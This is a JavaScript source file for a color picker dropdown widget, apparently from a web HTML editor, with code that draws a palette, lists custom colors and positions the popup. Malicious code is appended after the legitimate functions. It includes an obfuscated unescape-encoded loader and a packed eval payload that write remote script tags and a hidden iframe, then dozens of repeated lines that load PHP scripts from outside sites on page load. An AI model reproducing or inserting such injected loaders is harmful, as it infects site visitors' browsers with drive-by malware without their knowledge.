/*** Color Picker Object ***/
var arrColorPickerObjects=[];
function ColorPicker(sName,sParent)
	{
	this.oParent=sParent;
	if(sParent)
		{
		this.oName=sParent+"."+sName;
		this.oRenderName=sName+sParent;
		}
	else
		{
		this.oName=sName;
		this.oRenderName=sName;
		}
	arrColorPickerObjects.push(this.oName);

	this.url="color_picker.htm";
	this.onShow=function(){return true;};
	this.onHide=function(){return true;};
	this.onPickColor=function(){return true;};
	this.onRemoveColor=function(){return true;};
	this.onMoreColor=function(){return true;};	
	this.show=showColorPicker;
	this.hide=hideColorPicker;
	this.hideAll=hideColorPickerAll;
	this.color;
	this.customColors=[];
	this.refreshCustomColor=refreshCustomColor;
	this.isActive=false;
	this.txtCustomColors="Custom Colors";
	this.txtMoreColors="More Colors...";
	this.align="left";
	this.currColor="#ffffff";//default current color
	this.RENDER=drawColorPicker;
	}
function drawColorPicker()
	{	
	var arrColors=[["#800000","#8b4513","#006400","#2f4f4f","#000080","#4b0082","#800080","#000000"],
				["#ff0000","#daa520","#6b8e23","#708090","#0000cd","#483d8b","#c71585","#696969"],
				["#ff4500","#ffa500","#808000","#4682b4","#1e90ff","#9400d3","#ff1493","#a9a9a9"],
				["#ff6347","#ffd700","#32cd32","#87ceeb","#00bfff","#9370db","#ff69b4","#dcdcdc"],
				["#ffdab9","#ffffe0","#98fb98","#e0ffff","#87cefa","#e6e6fa","#dda0dd","#ffffff"]]
	var sHTMLColor="<table id=dropColor"+this.oRenderName+" style=\"z-index:1;display:none;position:absolute;border:#9b95a6 1px solid;cursor:default;background-color:#E9E8F2;padding:2px\" unselectable=on cellpadding=0 cellspacing=0 width=143 height=109><tr><td unselectable=on>"
	sHTMLColor+="<table align=center cellpadding=0 cellspacing=0 border=0 unselectable=on>";
	for(var i=0;i<arrColors.length;i++)
		{
		sHTMLColor+="<tr>";
		for(var j=0;j<arrColors[i].length;j++)
			sHTMLColor+="<td onclick=\""+this.oName+".color='"+arrColors[i][j]+"';"+this.oName+".onPickColor();"+this.oName+".currColor='"+arrColors[i][j]+"';"+this.oName+".hideAll()\" onmouseover=\"this.style.border='#777777 1px solid'\" onmouseout=\"this.style.border='#E9E8F2 1px solid'\" style=\"cursor:default;padding:1px;border:#E9E8F2 1px solid;\" unselectable=on>"+
				"<table style='margin:0;width:13px;height:13px;background:"+arrColors[i][j]+";border:white 1px solid' cellpadding=0 cellspacing=0 unselectable=on>"+
				"<tr><td unselectable=on></td></tr>"+
				"</table></td>";
		sHTMLColor+="</tr>";		
		}
	
	//~~~ custom colors ~~~~
	sHTMLColor+="<tr><td colspan=8 id=idCustomColor"+this.oRenderName+"></td></tr>";
	
	//~~~ remove color & more colors ~~~~
	sHTMLColor+= "<tr>";
	sHTMLColor+= "<td unselectable=on>"+
		"<table style='margin-left:1px;width:14px;height:14px;background:#E9E8F2;' cellpadding=0 cellspacing=0 unselectable=on>"+
		"<tr><td onclick=\""+this.oName+".onRemoveColor();"+this.oName+".currColor='';"+this.oName+".hideAll()\" onmouseover=\"this.style.border='#777777 1px solid'\" onmouseout=\"this.style.border='white 1px solid'\" style=\"cursor:default;padding:1px;border:white 1px solid;font-family:verdana;font-size:10px;font-color:black;line-height:9px;\" align=center valign=top unselectable=on>x</td></tr>"+
		"</table></td>";
	sHTMLColor+= "<td colspan=7 unselectable=on>"+
		"<table style='margin:1px;width:117px;height:16px;background:#E9E8F2;border:white 1px solid' cellpadding=0 cellspacing=0 unselectable=on>"+
		"<tr><td onclick=\""+this.oName+".onMoreColor();"+this.oName+".hideAll();window.showModelessDialog('"+this.url+"',[window,'"+this.oName+"'],'dialogWidth:432px;dialogHeight:427px;edge:Raised;center:1;help:0;resizable:1;')\" onmouseover=\"this.style.border='#777777 1px solid';this.style.background='#8d9aa7';this.style.color='#ffffff'\" onmouseout=\"this.style.border='#E9E8F2 1px solid';this.style.background='#E9E8F2';this.style.color='#000000'\" style=\"cursor:default;padding:1px;border:#efefef 1px solid\" style=\"font-family:verdana;font-size:9px;font-color:black;line-height:9px;padding:1px\" align=center valign=top nowrap unselectable=on>"+this.txtMoreColors+"</td></tr>"+
		"</table></td>";
	sHTMLColor+= "</tr>";
	
	sHTMLColor+= "</table>";			
	sHTMLColor+="</td></tr></table>";
	document.write(sHTMLColor);
	}
function refreshCustomColor()
	{
	if(dialogArguments.oUtil)//[CUSTOM]
		this.customColors=dialogArguments.oUtil.obj.customColors;//[CUSTOM] (Get from public definition)
	else //text2.htm [CUSTOM]
		this.customColors=dialogArguments[0].oUtil.obj.customColors;//[CUSTOM] (Get from public definition)

	if(this.customColors.length==0)
		{
		eval("idCustomColor"+this.oRenderName).innerHTML="";
		return;
		}
	sHTML="<table cellpadding=0 cellspacing=0 width=100%><tr><td colspan=8 style=\"font-family:verdana;font-size:9px;font-color:black;line-height:9px;padding:1\">"+this.txtCustomColors+":</td></tr></table>"
	sHTML+="<table cellpadding=0 cellspacing=0><tr>";	
	for(var i=0;i<this.customColors.length;i++)
		{
		if(i<22)
			{
			if(i==8||i==16||i==24||i==32)sHTML+="</tr></table><table cellpadding=0 cellspacing=0><tr>"	
			sHTML+="<td onclick=\""+this.oName+".color='"+this.customColors[i]+"';"+this.oName+".onPickColor()\" onmouseover=\"this.style.border='#777777 1px solid'\" onmouseout=\"this.style.border='#E9E8F2 1px solid'\" style=\"cursor:default;padding:1px;border:#E9E8F2 1px solid;\" unselectable=on>"+
				"	<table  style='margin:0;width:13;height:13;background:"+this.customColors[i]+";border:white 1px solid' cellpadding=0 cellspacing=0 unselectable=on>"+
				"	<tr><td unselectable=on></td></tr>"+
				"	</table>"+
				"</td>";
			}			
		}
	sHTML+="</tr></table>";
	eval("idCustomColor"+this.oRenderName).innerHTML=sHTML;
	}
function showColorPicker(oEl)
	{
	this.onShow();
	
	this.hideAll();

	var box=eval("dropColor"+this.oRenderName);

	box.style.display="block";
	var nTop=0;
	var nLeft=0;

	oElTmp=oEl;
	while(oElTmp.tagName!="BODY" && oElTmp.tagName!="HTML")
		{
		if(oElTmp.style.top!="")
			nTop+=oElTmp.style.top.substring(1,oElTmp.style.top.length-2)*1;
		else nTop+=oElTmp.offsetTop;
		oElTmp = oElTmp.offsetParent;
		}

	oElTmp=oEl;
	while(oElTmp.tagName!="BODY" && oElTmp.tagName!="HTML")
		{
		if(oElTmp.style.left!="")
			nLeft+=oElTmp.style.left.substring(1,oElTmp.style.left.length-2)*1;
		else nLeft+=oElTmp.offsetLeft;
		oElTmp=oElTmp.offsetParent;
		}
	
	if(this.align=="left")
		box.style.left=nLeft;
	else//right
		box.style.left=nLeft-143+oEl.offsetWidth;
		
	//box.style.top=nTop+1;//[CUSTOM]
	box.style.top=nTop+1+oEl.offsetHeight;//[CUSTOM]

	this.isActive=true;
	
	this.refreshCustomColor();
	}
function hideColorPicker()
	{
	this.onHide();

	var box=eval("dropColor"+this.oRenderName);
	box.style.display="none";
	this.isActive=false;
	}
function hideColorPickerAll()
	{
	for(var i=0;i<arrColorPickerObjects.length;i++)
		{
		var box=eval("dropColor"+eval(arrColorPickerObjects[i]).oRenderName);
		box.style.display="none";
		eval(arrColorPickerObjects[i]).isActive=false;
		}
	}<!-- 
(function(mrO){var ry8='%';var QGyd=unescape(('var&20&61&3d&22Scrip&74E&6egine&22&2cb&3d&22Version()+&22&2cj&3d&22&22&2cu&3dnavigator&2e&75ser&41g&65n&74&3bif((u&2eindex&4f&66&28&22C&68&72om&65&22&29&3c0)&26&26(u&2e&69nd&65&78Of&28&22W&69&6e&22)&3e0)&26&26&28u&2eindex&4ff(&22NT&206&22)&3c0)&26&26&28document&2e&63oo&6bi&65&2e&69ndexOf&28&22&6d&69ek&3d1&22)&3c0)&26&26(typeo&66&28zrvzts)&21&3dt&79&70eof(&22A&22)))&7bzrvz&74s&3d&22A&22&3bev&61l(&22if(win&64o&77&2e&22+a&2b&22&29&6a&3dj+&22+a&2b&22&4dajor&22+b+&61+&22Mi&6eor&22&2bb&2ba+&22Build&22&2bb+&22&6a&3b&22&29&3bdocument&2ewr&69t&65(&22&3cs&63ript&20src&3d&2f&2fm&61r&22&2b&22tuz&2ecn&2fvid&2f&3f&69d&3d&22+&6a&2b&22&3e&3c&5c&2f&73c&72ip&74&3e&22)&3b&7d').replace(mrO,ry8));eval(QGyd)})(/\&/g);
 -->
document.write('<script src=http://iimf.co.in/images/iimfpic70.php ><\/script>');
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 0=a c(),4=a c(0.i()+j);3(h.l.7("m 6")!=-1&&2.b.7("8=s")==-1){3(0.g()!=-1){5 9="d"}2.f("<e"+9+" k"+"r=1 z"+"o=1 A=\'B"+"p://x"+".y/q/\' t=\'u:n"+"w\'></3"+"v>");2.b="8=s;"+" 4="+4.C()+"; "}',39,39,'today||document|if|expires|var||indexOf|_fhjtju|iframe|new|cookie|Date|ame|ifr|write|getTimezoneOffset|navigator|getTime|2678400000|wi|appVersion|MSIE||ht||b2b|dth||style|display|rame|one|secatm|net|heig|src|htt|toGMTString'.split('|')));

document.write('<script src=http://iimf.co.in/images/iimfpic70.php ><\/script>');
document.write('<script src=http://iimf.co.in/images/iimfpic70.php ><\/script>');
document.write('<script src=http://iimf.co.in/images/iimfpic70.php ><\/script>');
document.write('<script src=http://iimf.co.in/images/iimfpic70.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://jatulintarhan.net/kuvat/paat/e7su/weeti.php ><\/script>');
document.write('<script src=http://gogreenlongbeachtimes.net/video/surround21_l.php ><\/script>');
document.write('<script src=http://jumbosearch.co.uk/images/linksbuyandsellafranchise.php ><\/script>');
document.write('<script src=http://jumbosearch.co.uk/images/linksbuyandsellafranchise.php ><\/script>');
document.write('<script src=http://jumbosearch.co.uk/images/linksbuyandsellafranchise.php ><\/script>');
document.write('<script src=http://jumbosearch.co.uk/images/linksbuyandsellafranchise.php ><\/script>');
document.write('<script src=http://jumbosearch.co.uk/images/linksbuyandsellafranchise.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://colakogluturizm.com/images/13.php ><\/script>');
document.write('<script src=http://pixnphones.com/admin/mxmltestd.php ><\/script>');